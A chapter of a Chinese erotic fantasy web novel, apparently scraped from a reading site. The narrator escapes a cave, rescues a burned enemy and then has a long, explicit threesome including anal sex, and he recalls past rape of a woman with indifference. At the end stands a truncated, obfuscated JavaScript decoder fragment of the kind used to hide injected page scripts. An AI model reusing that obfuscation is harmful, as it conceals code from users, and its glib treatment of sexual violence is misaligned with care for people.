「……我是豬啊!明明可以不用自己跑的,只要召喚水火魔蛛出來當馱獸,起碼快過我自己跑步吧?而且也不用這麼累了。」
逃命的時候無暇思考,現在一想才知道問題不小,就算解決了跑步的問題,但我這一路上不曉得跑了幾個岔道,只要其中一個跑錯,就是迷路,後果嚴重,就算路都跑對,外頭可能也被黑霧給籠罩,就這麼跑出去,和拿著火把跳油鍋是一樣的結果。
「算了,多想無益,先把水火魔蛛叫出來,跑遠一點再說吧。這些淫神獸真是麻煩,每次叫出來都很花魔力、體力,出來做完事就自己消失,也不先問過我一聲。」
正預備要召喚水火魔蛛,突然聽見左側通道有腳步聲響起,心中一凜,已有了防備,當左側風聲響起,我及時側身一躲,避過了匕首的刺擊,還順勢飛起一腳,把暗算者踢得撞倒在石壁上。以我這樣的身手,居然還可以打贏,這個刺客的武功不只是不好,簡直就是有夠爛。
「哈哈哈哈,來來去去都是同一套,你們以為我會每次都被刺嗎?」
終於輪到我得意一次,要不然,搞不好以後每個女人都以為可以這樣搞定我了。
在這種鬼地方,襲擊我的也不可能有別人,正是已經失手過一次的銀芽女士,她被我踢去撞牆,正倒在那邊起不了身,我便趁機做我一直想做的事……當然,不是強姦她。
「……整天看到什麼都眼熟,差點看得我去看心理醫生,就看看你到底長什麼樣,為什麼會那麼眼熟?」
我獰笑著把銀芽的面紗摘下,由於上次夢境中神秘女郎給我的慘痛經驗,我還特別留意,怕她突然一腳撩陰,造成慘禍,幸好這恐怖的猜想沒有發生。
面紗落下,我眼前出現的,是一張似曾相識的面容,對於這張清秀的臉龐,我確實有點印象,只是一時間想不太起來,然而,與那雙憤恨的目光對視,一幕幕往事浮現心頭,我陡然想起了那個名字。
「你是……翠萼?」
這真是好久好久不曾想起的名字,我甚至從不以為自己這輩子會再見到她。馬丁列斯要塞的守將約伯·希恩之妻,邪蓮的姊姊,當初我們用卑鄙的手法,引誘她沈淪墮落,害死了她深愛的丈夫,更讓馬丁列斯要塞因此陷落。
如果換成是我,碰到這種事情,我大概不會覺得有什麼好內疚的,畢竟一切又不是我願意,全是被人逼迫與操控的,但翠萼的道德感大概是我一百萬倍,經歷過這些事情以後,她整個人像是完全崩潰,要不是肚裡還有丈夫的遺腹子,應該早就自殺了。
翠萼本身的姿色並非上乘,對當時的我來說,只是一個被玩爛的貨色,吸引力連邪蓮都比不上,所以便扔給手下去玩,後來我在阿里布達的東南沿海遇險,全軍覆沒的消息傳回來,奉命留在客店看守翠萼的兩名士兵起了異心,連房飯錢也不付,凶巴巴地挾美而逃,在那之後,我便再也沒有得到翠萼的消息。
其實,若真的要調查,未必不能查到一點蛛絲馬跡,但在我眼中,翠萼實在不是一個值得我關注的人物,那兩個士兵也不是什麼好鳥,把她帶跑,總不會是當成菩薩供在家裡,肯定是干到不想幹了以後,賣到妓院裡頭去。
從翠萼的反應來看,事實應該與我所料相去不遠,她就算沒有被賣去妓院,也該被那兩個士兵給幹了個夠,至於她為何沒有當妓女,這當然與那兩個士兵的善心沒什麼關係,是她被人給解救了……當然,救她的人,只怕也未必安著什麼好心就是了。
「真是想不到啊,如果不是在這種環境,現在真該開香檳慶祝了,早該死得連骨頭都可以打鼓的人,居然從地獄爬回來了,你……」
我確實沒有想到,這幾句話一說,本來還軟趴趴躺在那裡的翠萼,滿腔怒火被引燃,指著我的鼻子開始大罵,氣勢洶洶,像是一頭發怒的母獅子,差一點就張牙舞爪地撲過來、咬掉我的鼻子。
雖然翠萼有充分的資格恨我,但她罵人的言詞卻沒什麼文采,無非就是「不得好死」、「下場淒慘」、「死無葬身之地」之類的詛咒,拾人類的牙慧,沒什麼精靈的獨創性,這類的詛咒我每天聽得多了,早就習慣,相信如果把華鬼婆叫來聽,她大概也是隨便掏掏耳朵就要閃人了。
若說這些詛咒話語有什麼價值,那就是我從裡頭聽明白,翠萼被那兩個士兵天天姦淫到流產時,一個男人出現在她面前,隨手就把兩名士兵擊倒,救了因大量失血而命懸一線的她,更讓她親手把那兩名士兵剁爛,稍洩心頭之恨。
若要徹底報仇,當然要找上罪魁禍首,那個男人告訴翠萼,報仇並不容易,但若她執意如此,他可以指點一條明路,只要翠萼還了他的救命恩情,秘密潛回索藍西亞,不與任何親友接觸,在一處秘密地方值勤數年,便會得到最佳的復仇時間,仇人在毫無防備的情況下被送到她面前……從現在的情形來看,那個男人的承諾是完全實現了,之所以沒報到仇,只是因為翠萼自己能力不足。
(該死的白拉登,他這是處心積慮在設計我啊,而且……他布這個局的時候,我應該還在南蠻的外圍收破爛,根本不認識他,他……他這麼針對我,有何目的?)
白拉登可不是普通角色,他利用翠萼來對付我的行動,已經超過了普通惡作劇的範圍,而是存有某種企圖。對上他這樣的敵人,若我沒有一點準備,肯定會死得很慘。
不過,回想到當初在五色帆船上,白拉登自比為神,無所不能的絕世風采,我就覺得,哪怕我有再多的準備,若是對上他,還是要死得很慘。
因為心情煩躁,翠萼所說的話,我也沒有很仔細聽,反正聽與不聽其實沒什麼差別,她應該也沒指望我會聽進去。時間很快過去,耐著性子聽上幾分鐘,這是對久別故人起碼的尊重,但有鑒於這裡還在山動地搖,實在不是一個好的說話環境,我不得不出言打斷。
「夠了!」
「永遠也不夠!我會永遠盯著你,直到把你拖下地獄為止!」
「有本事要拖就拖吧,但若沒那個本事,就少開口,老子要逃命了,你要死就一個人死在這裡吧,要是真的想報仇,就和我一起離開這裡,先活下去,才有機會給你報仇。」
我開口喝罵,但翠萼就像沒聽到一樣,仍舊發了狂地朝我撲來,被我又一腳踢踹回去。眼見這邊的搖晃越來越劇烈,很可能馬上又要開始崩塌,我也沒心情再和廢人說廢話,匆匆由懷中掏出那封信,扔給翠萼。
「這是白拉登托我帶給你的信,我看過了,只是白紙一張,但既然接下這個委託,就交給你吧。」
信紙連同信封,一起落在翠萼的身上,她對於白拉登遣人送信一事,表現得相當驚訝,喃喃道:「……侯爺他……」
聽著翠萼的聲音,我忽然覺得有些不妥,翠萼之前說到授意她來此,並為她準備一切的那個男人時,稱呼都是「恩人」或是「那個男人」,聽起來很像是為了那人安全,故意不直稱其名,我也以為她是在替白拉登掩飾,並不直說,但現在說到白拉登,她卻稱「侯爺」。
(這是什麼意思?是她不小心說溜了嘴?還是……我有什麼地方搞錯了?或許那是兩個人,並不是同一個……)
我暗叫不妙,正想提醒翠萼,事情已然發生。白拉登委託的書信,我早就拆開看過,確認裡頭只是一張白紙,而根據我的猜測,這張白紙裡頭可能蘊含魔力,待碰到目標人物,便會被觸動運作。
這個猜測,就在此刻具體實現,翠萼拿起了白紙,白紙上閃過一層詭異的紅光,跟著,整張白紙就化成一團熊熊燃燒的火焰,觸物即焚,持信者首當其衝,就聽見翠萼發出一聲驚心動魄的慘嚎,整個人已經被烈火吞噬,成了一團艷麗的大火球。
火焰燒得太快,假如我不是早就感覺不妙,暗自提高警覺,現在也一定來不及動手。
「太古的性慾精靈們啊,我以約翰·法雷爾之名,與你們簽訂契約,請借予我你們的力量,服從於我,具體而現形,出來吧,地獄淫神·冰蘭玉蠍!」
信紙上所燃放的火焰,非常詭異,恐怕不是提個水桶就能澆滅,我別無良策,只能把希望賭在這只最新的召喚獸上,果然,冰蘭玉蠍再度奏功,滿天霜雪飄降灑落,極度凍氣瞬間降臨,那看起來燒得很熱烈的火焰,遇之立即熄滅,化為嫋嫋青煙。
燃燒的時間極短,翠萼算是運氣不錯,因此保住了性命,但全身已有多處被燒得焦黑,傷勢非常嚴重,若不立刻施救,也只是比死亡多一口氣而已。照理說,她死是她的事,少了一個怨恨我甚深的敵人,我應該要偷笑了,但看到她命懸一線,我腦中只有一個念頭。
(不管以後的結果是什麼,不能讓她死在這裡!而且,她背後牽涉到的秘密,太不單純,如果她就這麼死掉,所有線索就都斷絕了。)
這麼一來,事情就很簡單了,我急忙發動召喚,把水火魔蛛再次召出。圓桌般大的魔蛛出現,我抱著重傷的翠萼上了魔蛛背部,此時山壁動搖更為劇烈,落石紛紛墜下,我急忙下令,讓水火魔蛛全速奔馳,務必要在最短時間內離開。
「故事上不是都說,壞人總是讓好人求生不得,求死不能嗎?既然如此,我怎麼樣都不會讓你死的!給我撐住這一口氣!」
水火魔蛛八爪如飛,看起來像是蠕動爬行,速度卻是如箭離弦,疾逾奔馬,轉眼間就奔出數十尺,更像是能夠自動偵測道路,途中所碰到的幾個岔路,它都立刻找出正確的方位與路徑,迅速朝外頭奔行。
在水火魔蛛的賣力奔馳下,我很快離開了洞穴,當終於衝出洞窟,接觸到外頭新鮮空氣時,外頭只有陽光燦爛,不見黑霧。
◆ 第八話:洞房花燭.俏美伴娘
那個大妖人明明都已經用黑霧包圍了大監獄,為什麼會忽然撤走,這實在讓人想不通,但我也無心思多理會,驅動水火魔蛛,直奔亡靈峽谷。
如果監獄外頭還是佈滿黑霧,我就算跑了出來,也是沒路可闖,最後還是得束手就縛,但大妖人把黑霧全部收撤,讓我有機可趁,這點我百思不得其解,照理說,會出現這種現象,最有可能的解釋,就是大妖人身邊出了亂子,他再無法顧到這邊的狀況,被迫撒回黑霧,又或者……
「不好!他該不會提前向我們發動襲擊了吧?」
心急如焚,我全速回奔,生怕回到亡靈峽谷的時候,會看到黑霧包圍著整座峽谷,屍積成山,我方全軍覆沒的慘狀,憂心之下,甚至沒時間顧到未來去了哪裡,只能朝半空發射火箭煙花,如果這小子看到,就會依照我們先前的約定,自己想辦法回去。
一路匆忙趕回峽谷,水火魔蛛雖然奔走甚疾,但本身並非是擅長高速競走的淫神獸,這樣子狂奔趕路的結果,透支過度,快要到峽谷時,它開始口噴白沫,週身冒煙,連我踩站在它背上,都覺得燙腳。
不久,水火魔蛛不堪負荷,瞬間消失,我抱著重傷的翠萼,一下子滾倒在地,心裡暗罵,這個水火魔蛛真是沒有職業道德,說消失就消失,招呼也不打一聲,比之前的淫獸群可差得多了。
值得慶幸的一點,就是遠遠眺望,亡靈峽谷平靜依舊,不像是出了什麼事的樣子,我最擔憂的事情沒有發生。當我終於抱著翠萼,跑回峽谷,大批精靈迎了上來,倫斐爾隨後也趕到,看見這傢夥,我確實鬆了一口氣,知道峽谷內平安無事。
倫斐爾看到我手上抱了個「黑人」,大為詫異:「這……這誰啊?是未來嗎?」
「是啊,這是未來,才出去一下,你就不認得了嗎?」
「他怎麼被燒成這樣?而且……怎麼體型還大了兩號?」
「好問題,下次碰到那個老妖怪,你自己去問他吧。」
與倫斐爾鬼扯幾句,鬼婆華更紗也已經聞聲而出,我急忙走上前去,請她出手施救。身為惡德醫者,華更紗眼力絕倫,當然不會把翠萼看成是未來,相反地,她眉飛色舞,喜道:「太好了,這個素材不錯,你是特別替我帶來功德會的第一號素材嗎?我馬上著手,先做陰道重建,然後再植皮治療,來,你來幫手,替我脫掉她的內褲。」
「……鬼婆,和你剛登場的時候相比,你現在怎麼越來越搞笑了?是不是以後要轉職當醜角了?」
這種話也只能開玩笑說說,比起華更紗變成醜角,我們這裡的大家變成死人的機率還高些。我制止了華更紗脫重傷者內褲的動作,請她認真地治療這個只剩下半口氣的女人,千萬要把她救活過來,之後,就有人來向我報告,織芝已經清醒過來了。
「哦!這真是太好了!」
再沒有比這個更好的消息,我急急忙忙趕去。織芝甦醒之後,馬上就進入狀況,在冷翎蘭的協助下,已經開始對末日戰龍的調整工作,此刻兩人都在放置末日戰龍的庫房裡。
當我興高采烈地推門而入,第一個見到的,就是那張久違的甜美笑靨,認真說來,其實沒有分別很久,但這些天來我所見到的她,一直都只是被困在晶石內的沈睡面容,直至此刻,才終於見到了她的笑。
「我就知道,你一定會來救我的,我一直這麼相信著,你果然來了。」
這是織芝對我的第一句話,聽了確實讓人心頭有股暖意,我並不是為了要織芝感謝,才做這麼多事,但聽到她這樣說,還是讓我有股自豪。自始至終,我守住了當初在薩拉城的諾言,對於這麼一個肯把心用在我身上的女孩,我盡了全力去守護她,沒有讓她失望。
穿著一身工作服的織芝,朝我撲了過來,結結實實地將我抱住,小巧纖細的身軀,在彼此緊貼的瞬間,傳來暖暖的體溫,一切感覺是那麼美好,若說有什麼比之前更好的,那就是和在薩拉的那晚相比,旁邊還多了一個俏生生的美人。
冷翎蘭站在一旁,笑吟吟地看著我們,由衷替我們的重逢感到喜悅,這是一個以前絕對沒法想像到的事,所謂人事變化之奇,大概就是這樣了。
抱著織芝小巧纖瘦的香軀,這種感覺非常舒服,要是可以,我還真想順便做點別的,但一來顧忌冷翎蘭在旁,二來剛剛闖過試練洞窟,看了那麼多驚心動魄的畫面,心裡不是很平靜,又怕大妖人那邊有什麼意外狀況,忽然大舉殺來,只有把心頭的邪念收斂,先處理眼前的正事。
「能不能先告訴我一下,那條戰龍……」
說話的時候,我沒有忘記瞥看一眼,確認末日戰龍還是像模型一樣,以那種可笑的形態直立著,看不出織芝有對其做什麼調整,不過,我本身不是這方面的行家,看不出來也是正常,正當我想要詢問工作進度,冷翎蘭忽然伸出手,不讓我再說下去。
「別說那些,現在是說正事的時候。」
「啥?呃……我就是和你們談正事啊,現在有什麼正事比這個還正的?」
「當然有啊,比如說……」
冷翎蘭說著,正與我相擁的織芝,突然有了動作,一下子蹲了下去,手往下一拉,便將我的褲子整個拉下,該露的東西自然也露了出來。
「你們……」
我還來不及抱怨,冷翎蘭已搶先動作,配合織芝的行動,一下就抱住我上半身,她胸前那對渾圓肉團,擠壓在我的胸口,我由上往下看去,那條乳溝已經被擠得彎曲變形了,兩團雪白的美乳,峰巒層疊,呼之欲出。
這幕景象不管看多少次,都會讓我熱血沸騰,而我伸放在冷翎蘭背後的手,湊巧捧住她的翹臀,在兩具身體的廝磨下,手指前端還伸進褲裡,觸碰她那細滑的臀肉,驚愕發現裡頭居然沒穿內褲,心頭一震,肉莖隨之頂起。
本來這一下,應該頂在冷翎蘭的小腹上,但肉莖正被織芝捧在掌心,受「神之手」的天賦異能影響,又是酥麻、又是灼燙,比平時都好像更硬上幾分,感覺起來像根鋼棍似的,硬到連自己都快受不了。
「我們什麼?都已經這樣硬了,你不會說自己不想要吧?」
冷翎蘭笑著說話,神情嬌俏嫵媚,雙唇艷如桃李,我看到她輕啟的雙唇,情不自禁,趁她話說完,嘴唇還來不及合上時,馬上吻上她的雙唇,舌頭伸進她的口內挑逗香舌:雙手也大膽的完全伸入短褲內,大力地搓揉兩瓣細緻的臀肉。
雙唇被吻,冷翎蘭一點抵抗都沒有,主動回應,不停地在我上身磨蹭,香舌也配合地跟我纏綿起來,胸前兩團軟肉磨得我心癢難耐……
熱吻同時,我側眼往下瞥看,瞧著織芝的清秀容顏,瓜子臉白白淨淨的,精靈血統的耳朵又尖又長,配上一雙水靈靈的大眼睛、小巧微翹的雙唇,吹彈可破的肌膚,再加上一頭橙色的秀髮,確實是一名出色的精靈美少女。
容貌出色,穿著也是引人注目,不曉得是否出於刻意,織芝並不是穿著在晶石內的那一套工作服,上身是一件白色U字領的絹衣,露出一條深深的乳溝,隱約還露出淡紫色內衣的輪廓,還是那種剛好遮住乳蕾的半罩杯胸衣。
上半身火辣到爆,織芝下半身穿著一件低腰超短的藍色短褲,手上還捧著我的肉莖,快速摩擦,我除了感受那至高無上的波動刺激,眼中更看著她因為動作,不住顫動的奶子。
論胸部的大小、形狀,冷翎蘭與織芝不愧是情若姊妹,兩人都是渾圓的C罩杯美乳,織芝的肌膚白些,冷翎蘭的奶子挺些,但因為織芝的體型嬌小得多,相形之下,胸部看來簡直是偉大,格外刺激。
正看得過癮,下半身傳來的刺激感受,一下激增數倍,低頭一看,織芝除了用她柔嫩光滑的玉掌貼住肉囊摩擦,更張開小口,將肉莖的前端含住,靈巧的舌頭很快便纏了上去。
「嘖……嘖……嘖……」
一名甜美可人的精靈美少女,一上一下地用小嘴套弄著我的肉莖,眼角還不時地看向我,嬌媚的眼波不停地向我發送。這甜美的一幕極為動人,但我無法專心享受,因為本來與我熱吻的冷翎蘭,突然撕開了我胸口的衣服,朱唇朝下吻去,吻在我胸口,與織芝配合,名符其實地上下夾攻。
「舒服嗎?」
冷翎蘭?起頭,眼角滿是笑意。
「嗯……這招真厲害,你們兩個商量好的?」我撫著冷翎蘭的黑髮說話。
「別管那麼多了,你在外頭出生入死,這是給你的一點獎勵,你該不會說什麼正事不正事的話來煞風景吧?」
「體諒男人在外出生入死,這不像你啊,唔……」
話說到一半,織芝的小嘴對著肉莖呵氣,從口裡吐出的熱氣噴向肉莖,暴露在冷空氣中的肉莖受到刺激,馬上又脹大了一點,織芝伸出舌頭,把肉菇縫口分泌出來的黏液舔了舔,笑道:「醒來聽二公主說了你們的關係,我簡直不敢相信,天底下的事,居然會這麼出人意料的。」
「哈哈,化敵為友,大家都喜歡干,這不算出人意料啊,反倒是……」
連續的刺激,我終於也忍耐不住,決定反客為主,冷翎蘭察覺到我的意圖,掩著笑退到一旁,正在替我吹吮的織芝,走避不及,一下就給我撲倒在地,才嚷了一聲,藍色短褲被拉脫了下去,露出兩團有若新剝殼雞蛋的白嫩屁股。
「反倒是今天你們兩個一起被我干……不,是你們主動來幹我,這種事別說你們想不到,就連我都想不到啊,哈哈哈!」
我笑著開始擺弄織芝,織芝被我壓在身下,雪臀直接與肉莖接觸,當然知道我要幹什麼,連忙道:「不行啦,公主殿下身份尊貴,就算要做,也不能先找我啊,這樣不合規矩,你先去找她啦!」雖然嘴裡這麼說,但織芝的屁股還是緩緩搖著,用她的臀肉摩擦著硬挺肉莖。
我不理會她的話,側過頭望向冷翎蘭,只見她掩口微笑,卻對我比了一下大拇指,似乎是非常支持我的意思。既是如此,我豈有不發的道理?便將肉菇沾了沾精靈美少女的淫蜜,開始擠進她已濕淋淋的花谷裡。
當肉菇剛擠進花谷口時,織芝張大嘴巴驚呼:「啊……慢點……太久沒東西進來了……」於是我放慢速度,先抽出一點再進去,這樣來回幾次後終於完全插到底了,但還有一小截露在外面。
我一邊緩緩地抽動,一邊問說:「太久沒東西插進去?我相信倫斐爾不會動你,但二公主沒有拿東西插進去嗎?」
冷翎蘭本來在旁邊偷笑,一聽到我這樣說,馬上知道不妙,想要使眼色阻止,但織芝正閉著眼睛,享受那份漸漸增強的久違快感,聽到我的問題,不疑有他,一邊輕聲地呻吟,一邊回答:「有啊……但公主很體貼人的,拿的東西都不大,是……唔,我偷偷照著你的樣子和尺寸做的……」
我聞言大笑:「全阿里布達的男人都猜得不錯,你們兩個果然偷偷搞同性戀,和霓虹玩同一套花樣。」
織芝這時才知道上了當,被我套出了話,又急又羞,但還不及分辯,就被我加快衝刺節奏,強烈快感沖腦,一張口就是連串嬌哼,連句完整的話都說不出。
我看見織芝因為強烈快感而弓起了背,便順勢把手伸到她胸前的美乳,大力地搓揉起來,飽滿又柔軟的手感,確實令人迷醉,於是我把她上身一直沒脫的絹衣上拉,從背後解開她淡紫色的胸罩,兩顆C就這樣暴露在空氣中。
因為織芝是彎腰趴著,這樣一來,奶子就顯得更大了,我一手握著一顆美乳,一邊加快速度,還把剩下的一小截完全插進去了,頻繁地深入挺刺,幾乎讓織芝翻了白眼。
冷翎蘭站在一旁,眼神迷濛,看著我和織芝的交合,目光落在織芝的胸口,隨著那兩團白兔似的美肉上拋下甩,越來越顯得迷醉,呼吸都變得粗重。
我注意著冷翎蘭的神情,心中暗笑,抽插動作更為賣力,道:「織芝,胸部好像變得比以前大了啊,你沒有男人,怎麼會變得這麼大?該不會是被你的假男朋友弄成這樣大吧?你們兩個是不是天天都躲起來搓奶啊?」
「啊……沒、沒有天天,大概每三、五天才一次……啊……」
「你們兩個淫婦,除了搓奶之外,沒有做什麼別的嗎?」
「……殿下她……每次……都讓我……讓我……」
織芝的話還沒說完,冷翎蘭忽然一個箭步竄前,?起織芝的下巴,猛地就吻在她最親密下屬的唇上,這一下太過突然,抽插中的我都看傻了眼,暗自讚歎彼此不愧有血緣關係,淫亂起來真不得了。
這一下的刺激效果很強,對織芝的作用尤其明顯,被冷翎蘭這樣深吻,織芝甚至是立刻就高潮了,軀體不停地抖,陣陣淫蜜狂噴,在一聲喊不出來的尖叫中高潮沖頂了。
操完了織芝,固然是志得意滿,腦裡也知道不能在這裡花太多時間,還有正事要辦,但我還未射出,而且人家都已經擺明要讓我搞雙飛了,我搞完一個,不搞第二個,以後不曉得還有沒有這種好機會。
人為財死,鳥為食亡,我奉行的原則沒有那麼複雜,就只是牡丹花下死,做鬼也風流。明知道現在該理智行事,但美肉在前,要我不把它吃下去,這點實在是做不到,哪怕不能讓冷翎蘭、織芝翹著屁股,給我輪流幹,起碼也要幹完冷翎蘭,否則,今天我連這點小小障礙都解決不了,他日又怎能將月櫻、冷翎蘭一起哄上床去雙飛呢?
這些盤算在腦中閃過,冷翎蘭已開始脫去身上衣服,把她那一身因為長年練武而結實若雌豹的胴體露出,我熱血沸騰,正要從織芝身上離開,織芝卻緊摟住我,要我有點耐心。
「耐心?難道有什麼好東西在等我?」
我頗覺詫異,就見冷翎蘭朝這邊看了一眼,神情奇特,然後在一個桌子上平趴了下來,用她那渾圓結實的屁股,正對著我。
雖然沒做解釋,但出於默契,我不是猜不到她想幹什麼,一下子只覺得怦然心動,確實有一種收到大禮的感覺,不過……她是不是受了什麼刺激?怎麼織芝都救醒了,還玩得這麼過頭啊?
「到時候了,新郎倌,洞房去吧,不能老是把時問花在伴娘身上,這樣是違規的呀。」
織芝笑著推了我一下,讓我自她身上離開。我退了出來,挺著越發怒勃的凶器,朝著冷翎蘭走去,來到她身後。
冷翎蘭的肉體,我早就看熟了,但每一次的凝視,都仍能感受到她的魅力,此刻她就趴在這裡,秀髮披垂,我兩隻手撫摸著她那渾圓又有彈性的臀部,捏了捏,又嫩又結實,手感真是好!
以臀部的美感來說,我最喜歡阿雪的白嫩豐滿,肉乎乎的,最是動人,但冷翎蘭結實的屁股上一點沒贅肉,又圓又翹,由於長年練武的緣故,手感光滑,富有彈性,而在股溝之中,若隱若現的小菊蕾……
我吞嚥了口饞沫,為了看得更清楚,我用雙手一邊一個分開她的兩股,一個美麗的菊花終於出現在我面前。
一圈圈紋路由中間放射性的展開,色澤呈淡粉色,我輕輕用食指觸了一下,菊花口直向裡縮,像海參一樣緩慢吐縮著。
這麼一名冰山大美人,翹著屁股趴在我的面前,這裡頭的特別意義,確實讓我有種洞房花燭夜的緊張感。
我把冷二公主的臀肉向兩邊擠開,讓菊蕾盡量擴大些,我的中指就輕輕向肛菊裡推進,才伸入一個指節,她菊口的內壁向內緊縮,緊緊夾咬住我的中指,我的手指使勁向內插入,直到中指整根沒入。
冷翎蘭前面的膣道,緊窄得異乎尋常,是最讓我回味的妙處,相形之下,後頭的肛菊雖然也緊,卻還比不上前頭的美妙,只是那種未曾有人侵入的新鮮感,獨具特殊意義。
中指慢慢在她的肛菊內像作愛一樣抽送,過了幾分鐘,她的肛菊隨著抽插適應了手指,漸漸地發熱,變得鬆軟了些,應該是可以承受進入了。
「可以嗎?屁股繼續翹那麼高的話,哥哥就要進來羅?」
冷翎蘭沒有說話,卻把雪白的屁股往後頂了兩下,催促著我的進入,儘管沒回答有些掃興,但此時無聲勝有聲。
我在冷翎蘭身後調整好姿勢,肉莖上仍沾著織芝的蜜液,是最好的潤滑,跟著雙手扶住她的兩胯,兩個大拇指把她的臀肉掰開,?起濕淋淋的肉莖,滾燙的肉菇頂在她緊繃的肛菊口,來來去去頂了半天,終於對上了位置。
下身一使勁:「撲」的一聲,終於把肉菇擠入了冷二公主的肛口,一下子夾得緊緊的,就聽見她悶哼一聲,像是被敵人砍了一刀似的,緊繃的軀體不住顫動,連我都感受得到她的痛楚。
肉菇的前端,感受到溫暖的熱流,我想應該是初次開肛的落紅,這種時候說別的也沒有意義,於是便深吸一口氣,肉莖向她的直腸深處一點點挺進,這種緊密滾燙的感受,確實也很迷人,雖然沒有前頭的驚人出水量,可是溫度更高得多,別具美妙。
初進去時,肛菊口的括約肌,箍得最緊,很不容易突破,一旦肉菇進入到直腸以後,就完全沒有抵抗地讓人長驅直入。肛菊洞口的那圈括約肌,箍得肉莖舒服極了,滾燙的腔道緊緊包裹著肉莖,要不是因為最近幾天,都在和冷翎蘭日夕交歡,習慣了她膣道的強大壓力,現在可能就已經噴射出去了。
我定了定神,使勁向內推進,一直突到肉莖的根部,再吸了一口氣,雙手扶住她雪白的屁股,緩慢在冷翎蘭的肛道內抽送起來。
這時,外頭隱隱約約傳來聲響,好像發生什麼騷動。這座庫房的巖壁厚實,隔音效果不錯,外頭的聲音會傳到這裡來,這騷動肯定不小,照常理來推測,要嘛是鬼婆在外頭惹了什麼麻煩,再不然……就是大妖人殺來了。
(大妖人殺過來,那可不得了啊!外頭火燒屁股,我還在這裡乾妹妹屁股,等會兒一票人衝進來,就很難看了。)
我感到猶豫,但織芝在這時來到我身後,赤裸的香軀與我相貼,柔軟的少女胴體,幽幽香氣,比什麼春藥都更刺激人心,尤其是當她繞到我身前,吐氣如蘭,吻著我的胸口,瞬間暴沖腦門的熱血,我再也顧不得什麼別的,放下一切,賣力衝刺。
「嗯……哥哥……你……你動啊……」
冷翎蘭忍著疼痛,催促我動作,鮮血的氣味刺激,我的動作越發狂暴,一把抓住冷翎蘭的長髮,像騎馬的姿勢一樣,以背後式幹著這個美女,肉莖在她的肛菊內進出,左手像抓住韁繩似的前後拉動長髮,右手探到胸前,撫摸揉捏她那對圓潤的美乳。
騎在這匹俏美的駿馬上,征服的慾望達到了高峰,一次又一次使勁抽送,我的肉莖在少女肛菊裡頻繁出入,在激烈的交合動作中,美麗的精靈少女也起了輔助作用,一下在我身上忙活,一下又到冷翎蘭那邊,接吻、愛撫,若這真是洞房花燭夜,她就是一個最稱職的陪嫁伴娘。
最後,我提著肉莖,用最屈辱的姿勢,像一對公狗、母狗般地交媾,頻頻操著冷二公主的雪白屁股,一邊操還一邊把她趕爬著向前,推著桌子往前移,這樣具有征服快感的畫面,我真是想也不曾想過。
「……啊啊……哥……啊……要死啦……不行了……不行了……啊……我屁股快裂掉了啦……啊啊……妹妹……啊……」
嬌美的哼聲,獸性的衝動,讓肉莖越來越硬挺,但外頭頻頻傳來的騷動,是有人在喊打喊殺,不但有爆破,還有人瀕死前發出的慘嚎,情況相當嚴重,是一場很激烈的惡戰,我不能不分心注意,想要早點結束這邊的享受。
忽然,一種奇異的暖流,從冷二公主的肛菊中傳透過來,透過肉莖,進入我體內,這種感覺極為奇特,我一下子打了個哆嗦,肉莖在冷翎蘭又緊、又窄、又滾熱的肛道內,抽送了二十多下以後,開始噴射出來了。
「唔……」
織芝適時地湊近過來,用她白皙柔嫩的身軀,貼在我身前,雪白的C奶在我胸口摩擦,與我交舌熱吻,頻頻發出嬌媚的哼聲,我下意識地向後拉住冷翎蘭的長髮,肉莖深深插入肛菊的盡頭,肉菇一縮一放,噴出大量的滾燙的精漿,全射進初開的處女肛菊中。
噴發之後,肉莖逐漸變軟,緩緩脫出,我看著冷翎蘭疲憊的樣子,白嫩如脂的美臀上,沾著紅斑點點,著實使人憐惜,心裡一動,想要說話,冷翎蘭卻自己爬了起來,凝視著我,眼中滿是擔憂之色。
「你沒事吧?身體覺得怎麼樣?」
「我?我怎麼會有什麼事?你剛剛破身,你的身體才……」
一句話脫口而出,我這才注意到,冷翎蘭臉色蒼白,剛才一輪交合,她明顯虛耗不少,相當奇怪。
很明顯的一件事,此刻的冷翎蘭極不適合投入戰鬥,別說內元虛耗,肉體也剛破身,痛楚牽制動作,哪可能上陣去戰鬥?
「糟了!」
去門口探看狀況的織芝,急急忙忙跑來,身上只裹了一塊剛剛扯來的長布,表情急惶:「外頭黑霧漫天,是那個大妖怪殺來了!」
這真是最壞的消息,我所擔憂的狀況終於發生,眼下激戰在即,冷翎蘭卻弄成這樣,不但折損一大戰力,搞不好連逃跑也有問題,真是麻煩大了。
「現在怎麼辦?這裡有沒有後門?我們三個還是先想辦法逃吧!」
我想著要開溜,冷翎蘭卻掙扎著起身換裝,看樣子是要衝出去作戰,我想要阻攔,這時忽然聽見外頭傳來狂笑。
「……形神合一,這偉大的力量……我還會更強,我還可以更強啊……」
笑聲狂傲,正是那個大妖人的聲音,看來他遊魂歸體的進度比預期中快,居然提早來襲,而且力量也較之前更強,這實在是我們的黴運。
不過,世事難料,盛極而衰,就當這聲狂笑如雷震耳,弄得我們耳裡嗡嗡作響,笑聲卻突然變成了哀嚎。
「……我、我的身體……哇啊啊啊啊……」
慘嚎聲最後化成一下震天巨爆,震波之強,庫房大門裂開,地面劇烈震動,讓我們險些站立不穩,但這一下巨爆過後,庫房之外,雲開霧散見青天,什麼黑霧也沒剩下,只餘下我們無盡的錯愕。
……難道,真有那麼好運,大妖人自爆,一切就這麼結束了?
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return 